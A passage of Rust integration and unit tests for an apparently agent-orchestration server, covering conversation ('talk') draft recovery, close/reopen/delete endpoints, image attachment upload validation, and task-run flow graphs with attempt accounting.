9181 assert_eq!(
9182 turns.len(),
9183 2,
9184 "the recovered draft must run once: {detail}"
9185 );
9186 assert_eq!(turns[0]["body"], "corrected");
9187 assert_eq!(detail["pending"], "");
9188 }
9189
9190 #[tokio::test]
9191 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
9192 let tmp = TempDir::new().expect("tempdir");
9193 let repo = tmp.path().join("repo");
9194 std::fs::create_dir_all(&repo).expect("repo dir");
9195 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9196 let f = Fixture::with_repo(repo).await;
9197 let id = f.post("/api/talks", None).await.json()["id"]
9198 .as_str()
9199 .expect("id")
9200 .to_owned();
9201 let store = f.talks();
9202 let mut recovered = store.get(&id).expect("opened talk");
9203 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
9204 .expect("persist pending draft without a live turn");
9205
9206 let refused = f
9207 .post(
9208 &format!("/api/talks/{id}/say"),
9209 Some(r#"{"text":"new message"}"#),
9210 )
9211 .await;
9212 assert_eq!(refused.status, 409, "{}", refused.body);
9213 assert!(refused.body.contains("resume"), "{}", refused.body);
9214 let saved = store.get(&id).expect("draft remains after refusal");
9215 assert!(saved.turns.is_empty());
9216 assert_eq!(saved.pending, "saved before restart");
9217
9218 let say_path = format!("/api/talks/{id}/say");
9219 let (first, second) = tokio::join!(
9220 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
9221 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
9222 );
9223 assert_eq!(first.status, 409, "{}", first.body);
9224 assert_eq!(second.status, 409, "{}", second.body);
9225 let saved = store
9226 .get(&id)
9227 .expect("draft remains after concurrent refusals");
9228 assert!(saved.turns.is_empty());
9229 assert_eq!(saved.pending, "saved before restart");
9230
9231 let resumed = f
9232 .post(&format!("/api/talks/{id}/pending/resume"), None)
9233 .await;
9234 assert_eq!(resumed.status, 202, "{}", resumed.body);
9235 let duplicate = f
9236 .post(&format!("/api/talks/{id}/pending/resume"), None)
9237 .await;
9238 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
9239
9240 for _ in 0..SETTLE_STEPS {
9241 if store.get(&id).expect("talk").turns.len() == 2 {
9242 break;
9243 }
9244 tokio::time::sleep(Duration::from_millis(10)).await;
9245 }
9246 let finished = store.get(&id).expect("finished talk");
9247 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9248 assert_eq!(finished.turns[0].body, "saved before restart");
9249 assert!(finished.pending.is_empty());
9250 }
9251
9252 #[tokio::test]
9253 async fn an_image_only_recovered_draft_resumes_without_text() {
9254 let (_tmp, _repo, f) = talk_fixture().await;
9255 let id = f.post("/api/talks", None).await.json()["id"]
9256 .as_str()
9257 .expect("id")
9258 .to_owned();
9259 let uploaded = f
9260 .post_bytes(
9261 &format!("/api/talks/{id}/attachments"),
9262 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
9263 PNG_BYTES,
9264 )
9265 .await;
9266 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9267 let attachment = f
9268 .talks()
9269 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
9270 .expect("attachment metadata")
9271 .expect("stored attachment");
9272 let store = f.talks();
9273 let mut recovered = store.get(&id).expect("opened talk");
9274 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
9275
9276 let resumed = f
9277 .post(&format!("/api/talks/{id}/pending/resume"), None)
9278 .await;
9279 assert_eq!(resumed.status, 202, "{}", resumed.body);
9280 for _ in 0..SETTLE_STEPS {
9281 if store.get(&id).expect("talk").turns.len() == 2 {
9282 break;
9283 }
9284 tokio::time::sleep(Duration::from_millis(10)).await;
9285 }
9286 let finished = store.get(&id).expect("finished talk");
9287 assert_eq!(finished.turns.len(), 2, "{finished:?}");
9288 assert!(finished.turns[0].body.is_empty());
9289 assert_eq!(finished.turns[0].attachments.len(), 1);
9290 assert!(finished.pending_attachments.is_empty());
9291 }
9292
9293 #[tokio::test]
9294 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
9295 let (_tmp, _repo, f) = talk_fixture().await;
9296 let id = f.post("/api/talks", None).await.json()["id"]
9297 .as_str()
9298 .expect("id")
9299 .to_owned();
9300 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9301 assert_eq!(closed.status, 200, "{}", closed.body);
9302 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9303 .expect("serialize closed talk");
9304 for (path, body) in [
9305 (format!("/api/talks/{id}/pending/resume"), None),
9306 (
9307 format!("/api/talks/{id}/pending/clear"),
9308 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
9309 ),
9310 (
9311 format!("/api/talks/{id}/pending/edit"),
9312 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9313 ),
9314 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9315 ] {
9316 let response = f.post(&path, body).await;
9317 assert_eq!(response.status, 409, "{}", response.body);
9318 }
9319 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9320 .expect("serialize closed talk");
9321 assert_eq!(
9322 after_clear, before_clear,
9323 "clear must not rewrite a closed talk"
9324 );
9325 }
9326
9327 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9330
9331 #[tokio::test]
9332 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9333 let tmp = TempDir::new().expect("tempdir");
9334 let repo = tmp.path().join("repo");
9335 std::fs::create_dir_all(&repo).expect("repo dir");
9336 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9337 let f = Fixture::with_repo(repo).await;
9338 let id_a = f.post("/api/talks", None).await.json()["id"]
9339 .as_str()
9340 .unwrap()
9341 .to_owned();
9342 let id_b = f.post("/api/talks", None).await.json()["id"]
9343 .as_str()
9344 .unwrap()
9345 .to_owned();
9346
9347 let a = f
9348 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9349 .await;
9350 assert_eq!(a.status, 202, "{}", a.body);
9351 assert_eq!(a.json()["thinking"], true);
9352 let b = f
9353 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9354 .await;
9355 assert_eq!(b.status, 202, "{}", b.body);
9356 assert_eq!(b.json()["thinking"], true);
9357
9358 let listed = f.get("/api/talks").await.json();
9359 for id in [&id_a, &id_b] {
9360 let view = listed
9361 .as_array()
9362 .unwrap()
9363 .iter()
9364 .find(|talk| talk["id"] == *id)
9365 .unwrap();
9366 assert_eq!(view["thinking"], true, "{listed}");
9367 }
9368 let repeated = f
9369 .post(
9370 &format!("/api/talks/{id_a}/say"),
9371 Some(r#"{"text":"again"}"#),
9372 )
9373 .await;
9374 assert_eq!(repeated.status, 202, "{}", repeated.body);
9375 assert_eq!(repeated.json()["pending"], "again");
9376 }
9377
9378 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9381
9382 #[tokio::test]
9383 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9384 let f = Fixture::start().await;
9385 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9386
9387 let res = f
9388 .post_bytes(
9389 &format!("/api/talks/{id}/attachments"),
9390 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9391 PNG_BYTES,
9392 )
9393 .await;
9394 assert_eq!(res.status, 201, "{}", res.body);
9395 let body = res.json();
9396 assert_eq!(body["name"], "shot.png");
9397 assert_eq!(body["mime"], "image/png");
9398 assert_eq!(body["bytes"], PNG_BYTES.len());
9399 let att_id = body["id"].as_str().expect("id").to_owned();
9400 assert_eq!(
9401 att_id.len(),
9402 32,
9403 "the id must never be a client-suppliable path: {att_id}"
9404 );
9405
9406 let got = f
9407 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9408 .await;
9409 assert_eq!(got.status, 200, "{}", got.body);
9410 assert_eq!(got.header("content-type"), Some("image/png"));
9411 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9412 assert_eq!(got.bytes, PNG_BYTES);
9413 }
9414
9415 #[tokio::test]
9416 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9417 let f = Fixture::start().await;
9418 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9419
9420 let svg = f
9423 .post_bytes(
9424 &format!("/api/talks/{id}/attachments"),
9425 &[("Content-Type", "image/svg+xml")],
9426 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9427 )
9428 .await;
9429 assert!(
9430 (400..500).contains(&svg.status),
9431 "svg must be refused: {} {}",
9432 svg.status,
9433 svg.body
9434 );
9435 assert!(svg.body.contains("SVG"), "{}", svg.body);
9436
9437 let text = f
9438 .post_bytes(
9439 &format!("/api/talks/{id}/attachments"),
9440 &[("Content-Type", "text/plain")],
9441 b"just some text",
9442 )
9443 .await;
9444 assert!(
9445 (400..500).contains(&text.status),
9446 "an unlisted type must be refused: {} {}",
9447 text.status,
9448 text.body
9449 );
9450
9451 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9454 let big = f
9455 .post_bytes(
9456 &format!("/api/talks/{id}/attachments"),
9457 &[("Content-Type", "image/png")],
9458 &oversized,
9459 )
9460 .await;
9461 assert_eq!(
9462 big.status,
9463 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9464 "{}",
9465 big.body
9466 );
9467 }
9468
9469 #[tokio::test]
9470 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
9471 let f = Fixture::start().await;
9472 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
9473
9474 let res = f
9477 .post_bytes(
9478 &format!("/api/talks/{id}/attachments"),
9479 &[("Content-Type", "image/png")],
9480 b"<html>not a picture</html>",
9481 )
9482 .await;
9483 assert!((400..500).contains(&res.status), "{}", res.body);
9484 }
9485
9486 #[tokio::test]
9487 async fn an_unknown_attachment_id_is_a_404() {
9488 let f = Fixture::start().await;
9489 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9490
9491 let res = f
9492 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9493 .await;
9494 assert_eq!(res.status, 404, "{}", res.body);
9495 }
9496
9497 #[tokio::test]
9498 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9499 let f = Fixture::start().await;
9500 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9501
9502 let uploaded = f
9503 .post_bytes(
9504 &format!("/api/talks/{id}/attachments"),
9505 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9506 PNG_BYTES,
9507 )
9508 .await;
9509 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9510 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9511
9512 let res = f
9513 .post(
9514 &format!("/api/talks/{id}/say"),
9515 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9516 )
9517 .await;
9518 assert_eq!(res.status, 202, "{}", res.body);
9519 let queued = res.json();
9520 let turns = queued["turns"].as_array().expect("turns array");
9521 assert_eq!(
9522 turns.len(),
9523 1,
9524 "an empty body with an attachment is still a turn: {queued}"
9525 );
9526 assert_eq!(turns[0]["who"], "operator");
9527 assert_eq!(turns[0]["body"], "");
9528 let atts = turns[0]["attachments"]
9529 .as_array()
9530 .expect("attachments array");
9531 assert_eq!(atts.len(), 1);
9532 assert_eq!(atts[0]["id"], att_id);
9533 assert_eq!(atts[0]["mime"], "image/png");
9534
9535 let on_disk = f.talks().get(&id).expect("get");
9538 assert_eq!(on_disk.turns[0].attachments.len(), 1);
9539 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9540 }
9541
9542 #[tokio::test]
9543 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9544 let f = Fixture::start().await;
9545 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9546
9547 let res = f
9548 .post(
9549 &format!("/api/talks/{id}/say"),
9550 Some(&format!(
9551 r#"{{"text":"hi","attachments":["{}"]}}"#,
9552 "a".repeat(32)
9553 )),
9554 )
9555 .await;
9556 assert!((400..500).contains(&res.status), "{}", res.body);
9557 assert!(res.body.contains("unknown attachment"), "{}", res.body);
9558
9559 let on_disk = f.talks().get(&id).expect("get");
9560 assert!(
9561 on_disk.turns.is_empty(),
9562 "a rejected attachment id must not partially record the turn: {:?}",
9563 on_disk.turns
9564 );
9565 }
9566
9567 #[tokio::test]
9568 async fn talk_close_makes_the_talk_refuse_further_turns() {
9569 let f = Fixture::start().await;
9570 let id = seed_talk(&f, "20260904-014455-cd34", "open");
9571
9572 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9573 assert_eq!(closed.status, 200, "{}", closed.body);
9574 assert_eq!(closed.json()["status"], "closed");
9575
9576 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9578 assert_eq!(closed_again.status, 200);
9579 assert_eq!(closed_again.json()["status"], "closed");
9580
9581 let said = f
9582 .post(
9583 &format!("/api/talks/{id}/say"),
9584 Some(r#"{"text":"too late"}"#),
9585 )
9586 .await;
9587 assert_eq!(said.status, 409, "{}", said.body);
9588 }
9589
9590 #[tokio::test]
9591 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9592 let (_tmp, _repo, f) = talk_fixture().await;
9593 let id = f.post("/api/talks", None).await.json()["id"]
9594 .as_str()
9595 .expect("id")
9596 .to_owned();
9597 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9598 assert_eq!(closed.status, 200, "{}", closed.body);
9599
9600 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9601 assert_eq!(reopened.status, 200, "{}", reopened.body);
9602 assert_eq!(reopened.json()["status"], "open");
9603
9604 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9606 assert_eq!(reopened_again.status, 200);
9607 assert_eq!(reopened_again.json()["status"], "open");
9608
9609 let said = f
9610 .post(
9611 &format!("/api/talks/{id}/say"),
9612 Some(r#"{"text":"still there?"}"#),
9613 )
9614 .await;
9615 assert_eq!(
9616 said.status, 202,
9617 "a reopened talk accepts turns again: {}",
9618 said.body
9619 );
9620 }
9621
9622 #[tokio::test]
9623 async fn talk_reopen_on_an_unknown_id_is_404() {
9624 let f = Fixture::start().await;
9625 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9626 assert_eq!(res.status, 404, "{}", res.body);
9627 }
9628
9629 #[tokio::test]
9630 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9631 let f = Fixture::start().await;
9632 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9633
9634 let deleted = f.delete(&format!("/api/talks/{id}")).await;
9635 assert_eq!(deleted.status, 204, "{}", deleted.body);
9636
9637 let after = f.get(&format!("/api/talks/{id}")).await;
9638 assert_eq!(after.status, 404, "{}", after.body);
9639
9640 let listed = f.get("/api/talks").await.json();
9641 assert!(
9642 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9643 "a deleted talk must not linger in the list: {listed}"
9644 );
9645 }
9646
9647 #[tokio::test]
9648 async fn talk_delete_on_an_unknown_id_is_404() {
9649 let f = Fixture::start().await;
9650 let res = f.delete("/api/talks/nonexistent-id").await;
9651 assert_eq!(res.status, 404, "{}", res.body);
9652 }
9653
9654 #[tokio::test]
9658 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9659 let f = Fixture::start().await;
9660 let (a, b, gone) = (
9661 "20260902-140501-aaaa",
9662 "20260902-140502-bbbb",
9663 "20260902-140503-cccc",
9664 );
9665 write_run(&f.runs(), a, RunStatus::Stalled);
9666 let mut review = RunState::new(
9667 PathBuf::from("/repo/magi"),
9668 "main".to_owned(),
9669 "0123456789abcdef".to_owned(),
9670 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9671 .to_owned(),
9672 Config::default(),
9673 );
9674 review.id = b.to_owned();
9675 review.status = RunStatus::Merged;
9676 write_state(&f.runs(), &review);
9677
9678 let mut task = Task::new(
9679 "retry".to_owned(),
9680 "Do the thing".to_owned(),
9681 PathBuf::from("/repo/magi"),
9682 Source::Human,
9683 );
9684 task.start(a.to_owned());
9685 task.stall("quota");
9686 task.start(a.to_owned());
9687 task.start(b.to_owned());
9688 task.start(gone.to_owned());
9689 f.queue().put(&mut task).expect("file the task");
9690
9691 let res = f.get(&format!("/api/queue/{}", task.id)).await;
9692 assert_eq!(res.status, 200, "{}", res.body);
9693 let v = res.json();
9694 let h = v["history"].as_array().expect("history");
9695 assert_eq!(h.len(), 4, "{v}");
9696 assert_eq!(h[0]["kind"], "competition");
9697 assert_eq!(h[0]["status"], "stalled");
9698 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9699 assert_eq!(h[1]["kind"], "resume", "{v}");
9700 assert!(
9701 h[0]["outcome"]
9702 .as_str()
9703 .unwrap()
9704 .contains("unknown. Pass #2"),
9705 "an earlier pass of a resumed run must not claim the final outcome: {v}"
9706 );
9707 assert!(
9708 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9709 "{v}"
9710 );
9711 assert!(
9712 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9713 "an unrecorded cause must not be narrated as an operator park: {v}"
9714 );
9715 assert_eq!(h[2]["kind"], "review");
9716 assert!(
9717 h[2]["description"]
9718 .as_str()
9719 .unwrap()
9720 .contains("magi/aaaa/A")
9721 );
9722 assert_eq!(h[2]["status"], "merged");
9723 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9724 assert_eq!(v["runs_unreadable"], 1);
9725 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9726 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9727 assert_eq!(nodes[4]["note"], "unreadable");
9728 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9729 assert_eq!(v["instruction"], "Do the thing");
9730 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9731
9732 let run = f.get(&format!("/api/runs/{a}")).await.json();
9734 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9735
9736 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9737 }
9738
9739 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9740 let mut s = RunState::new(
9741 PathBuf::from("/repo/magi"),
9742 "main".to_owned(),
9743 "0123456789abcdef".to_owned(),
9744 "Do it".to_owned(),
9745 Config::default(),
9746 );
9747 s.status = status;
9748 edit(&mut s);
9749 s
9750 }
9751
9752 fn flow_task(runs: &[&str]) -> Task {
9753 let mut t = Task::new(
9754 "t".to_owned(),
9755 "Do it".to_owned(),
9756 PathBuf::from("/repo/magi"),
9757 Source::Human,
9758 );
9759 for r in runs {
9760 t.start((*r).to_owned());
9761 }
9762 t
9763 }
9764
9765 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9766 let h = task_history(task, |id| {
9767 states
9768 .iter()
9769 .find(|(i, _)| *i == id)
9770 .and_then(|(_, s)| s.clone())
9771 });
9772 task_flow(task, &h, 5)
9773 }
9774
9775 #[test]
9776 fn flow_opens_with_the_chat_that_queued_the_task() {
9777 let mut t = flow_task(&[]);
9778 t.source = Source::Agent {
9779 run: "a b/c".to_owned(),
9780 node: crate::queue::CHAT_NODE.to_owned(),
9781 };
9782 let f = flow_for(&t, &[]);
9783 assert_eq!(f.nodes[0].key, "chat");
9784 assert_eq!(f.nodes[0].kind, "chat");
9785 assert_eq!(
9786 f.nodes[0].label,
9787 format!("Chat {}", crate::queue::short("a b/c"))
9788 );
9789 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9790 assert_eq!(f.nodes[1].key, "start");
9791 assert_eq!(
9792 f.edges[0],
9793 FlowEdge {
9794 from: "chat".to_owned(),
9795 to: "start".to_owned(),
9796 label: "queued from chat".to_owned(),
9797 attempt: AttemptCost::None,
9798 }
9799 );
9800 }
9801
9802 #[test]
9803 fn flow_has_no_chat_box_for_other_sources() {
9804 for source in [
9805 Source::Human,
9806 Source::Issue {
9807 number: 3,
9808 repo: "o/r".to_owned(),
9809 },
9810 Source::Agent {
9811 run: "20260904-014455-ab12".to_owned(),
9812 node: "implement".to_owned(),
9813 },
9814 ] {
9815 let mut t = flow_task(&[]);
9816 t.source = source;
9817 let f = flow_for(&t, &[]);
9818 assert_eq!(f.nodes[0].key, "start");
9819 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9820 assert!(f.edges.iter().all(|e| e.from != "chat"));
9821 }
9822 }
9823
9824 const FA: &str = "20260902-140501-aaaa";
9825 const FB: &str = "20260902-140502-bbbb";
9826
9827 #[test]
9828 fn flow_follows_blocked_retry_merged_to_done() {
9829 let mut t = flow_task(&[FA, FB]);
9830 t.status = TaskStatus::Done;
9831 let f = flow_for(
9832 &t,
9833 &[
9834 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9835 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9836 ],
9837 );
9838 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9839 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9840 assert_eq!(f.edges.len(), 3);
9841 assert_eq!(f.edges[0].label, "claimed");
9842 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9843 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9844 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9845 assert_eq!(
9846 f.nodes[2].href.as_deref(),
9847 Some("#/runs/20260902-140502-bbbb")
9848 );
9849 assert!(f.nodes[2].decided);
9850 }
9851
9852 #[test]
9853 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9854 let quota = || {
9855 flow_run(RunStatus::Stalled, |s| {
9856 s.quota.push(crate::run::QuotaLoss {
9857 seat: "judge-1".to_owned(),
9858 node: "judge".to_owned(),
9859 at: Timestamp::now(),
9860 reset: None,
9861 })
9862 })
9863 };
9864 let mut t = flow_task(&[FA, FA]);
9865 t.status = TaskStatus::Queued;
9866 let f = flow_for(&t, &[(FA, Some(quota()))]);
9867 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9868 assert_eq!(f.nodes[1].note, Some("interrupted"));
9869 assert_eq!(
9870 f.nodes[1].status, None,
9871 "no outcome copied onto an earlier pass"
9872 );
9873 assert_eq!(
9874 f.edges[1].attempt,
9875 AttemptCost::Unknown,
9876 "a resume does not prove the earlier pass was refunded"
9877 );
9878 assert!(f.edges[1].label.contains("resume the same run"));
9879 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9880 assert_eq!(
9881 f.edges[2].label,
9882 "stalled after a resume, refund unknown \u{2192} queued"
9883 );
9884 assert!(!f.nodes[2].decided, "a stall is not a decision");
9885 assert_eq!(f.nodes[2].note, Some("no verdict"));
9886 }
9887
9888 #[test]
9889 fn flow_single_pass_quota_stall_is_refunded() {
9890 let t = flow_task(&[FA]);
9891 let f = flow_for(
9892 &t,
9893 &[(
9894 FA,
9895 Some(flow_run(RunStatus::Stalled, |s| {
9896 s.quota.push(crate::run::QuotaLoss {
9897 seat: "judge-1".to_owned(),
9898 node: "judge".to_owned(),
9899 at: Timestamp::now(),
9900 reset: None,
9901 })
9902 })),
9903 )],
9904 );
9905 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9906 }
9907
9908 #[test]
9909 fn flow_parked_refunds_and_stall_without_quota_spends() {
9910 let mut t = flow_task(&[FA]);
9911 t.status = TaskStatus::Queued;
9912 let f = flow_for(
9913 &t,
9914 &[(
9915 FA,
9916 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9917 )],
9918 );
9919 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9920 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9921 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9922 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9923 assert!(!f.nodes[1].decided);
9924 }
9925
9926 #[test]
9927 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9928 let t = flow_task(&[FA, FB]);
9929 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9930 assert_eq!(f.nodes[1].note, Some("unreadable"));
9931 assert!(!f.nodes[1].readable);
9932 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9933 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9934 }
9935
9936 #[test]
9937 fn flow_names_the_branch_of_a_review_only_run() {
9938 let t = flow_task(&[FA]);
9939 let f = flow_for(
9940 &t,
9941 &[(
9942 FA,
9943 Some(flow_run(RunStatus::Merged, |s| {
9944 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9945 })),
9946 )],
9947 );
9948 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9949 assert_eq!(
9950 f.nodes[1].detail.as_deref(),
9951 Some("review-only run of branch magi/x/A")
9952 );
9953 }
9954
9955 #[test]
9956 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9957 let mut t = flow_task(&[FA]);
9958 t.status = TaskStatus::Held;
9959 let pr = crate::run::PrRecord {
9960 url: "https://example.test/pr/1".to_owned(),
9961 number: 1,
9962 state: "open".to_owned(),
9963 checks: "green".to_owned(),
9964 round: 0,
9965 rounds: 3,
9966 red_at_merge: Vec::new(),
9967 };
9968 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9969 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9970 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9971 t.status = TaskStatus::Done;
9972 let f = flow_for(&t, &[(FA, Some(blocked))]);
9973 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9974 }
9975
9976 #[test]
9977 fn flow_with_no_runs_goes_from_queued_to_queued() {
9978 let t = flow_task(&[]);
9979 let f = flow_for(&t, &[]);
9980 assert_eq!(f.nodes.len(), 2);
9981 assert_eq!(f.edges.len(), 1);
9982 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9983 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9984 }
9985
9986 #[test]
9989 fn a_parked_non_terminal_run_is_explained_as_parked() {
9990 let mut s = RunState::new(
9991 PathBuf::from("/repo/magi"),
9992 "main".to_owned(),
9993 "0123456789abcdef".to_owned(),
9994 "Do it".to_owned(),
9995 Config::default(),
9996 );
9997 s.status = RunStatus::Implementing;
9998 s.parked = true;
9999 let task = Task::new(
10000 "t".to_owned(),
10001 "Do it".to_owned(),
10002 PathBuf::from("/repo/magi"),
10003 Source::Human,
10004 );
10005 let v = task_run_view(
10006 "20260902-140501-aaaa",
10007 Some(&s),
10008 RunSlot {
10009 n: 1,
10010 resumed: false,
10011 resumed_later: None,
10012 prior: None,
10013 last: true,
10014 },
10015 &task,
10016 );
10017 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10018 }
10019
10020 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10021 let mut s = flow_run(RunStatus::Implementing, edit);
10022 s.parked = false;
10023 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10024 task_run_view(
10025 "20260902-140501-aaaa",
10026 Some(&s),
10027 RunSlot {
10028 n: 1,
10029 resumed: false,
10030 resumed_later: Some(2),
10031 prior: None,
10032 last: false,
10033 },
10034 &task,
10035 )
10036 }
10037
10038 #[test]
10039 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10040 let v = earlier_pass_view(|_| {});
10041 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10042 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10043 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10044 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10045 assert_eq!(v.exit, RunExit::Interrupted);
10046 assert_eq!(v.attempt, AttemptCost::Unknown);
10047 }
10048
10049 #[test]
10050 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10051 let v = earlier_pass_view(|s| {
10052 s.quota.push(crate::run::QuotaLoss {
10053 seat: "judge-1".to_owned(),
10054 node: "judge".to_owned(),
10055 at: Timestamp::now(),
10056 reset: None,
10057 });
10058 });
10059 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10060 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10061 assert_eq!(v.attempt, AttemptCost::Unknown);
10062 }
10063
10064 #[test]
10065 fn the_current_pass_states_its_recorded_cause_and_cost() {
10066 let slot = || RunSlot {
10067 n: 1,
10068 resumed: false,
10069 resumed_later: None,
10070 prior: None,
10071 last: true,
10072 };
10073 let task = flow_task(&["20260902-140501-aaaa"]);
10074 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10075 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10076 assert_eq!(
10077 (v.exit, v.attempt),
10078 (RunExit::Parked, AttemptCost::Refunded)
10079 );
10080 let spent = flow_run(RunStatus::Blocked, |_| {});
10081 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10082 assert_eq!(v.attempt, AttemptCost::Spent);
10083 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10084 }
10085
10086 #[tokio::test]
10087 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10088 let f = Fixture::start().await;
10089 let queue = f.queue();
10090 let mut task = Task::new(
10091 "spent".to_owned(),
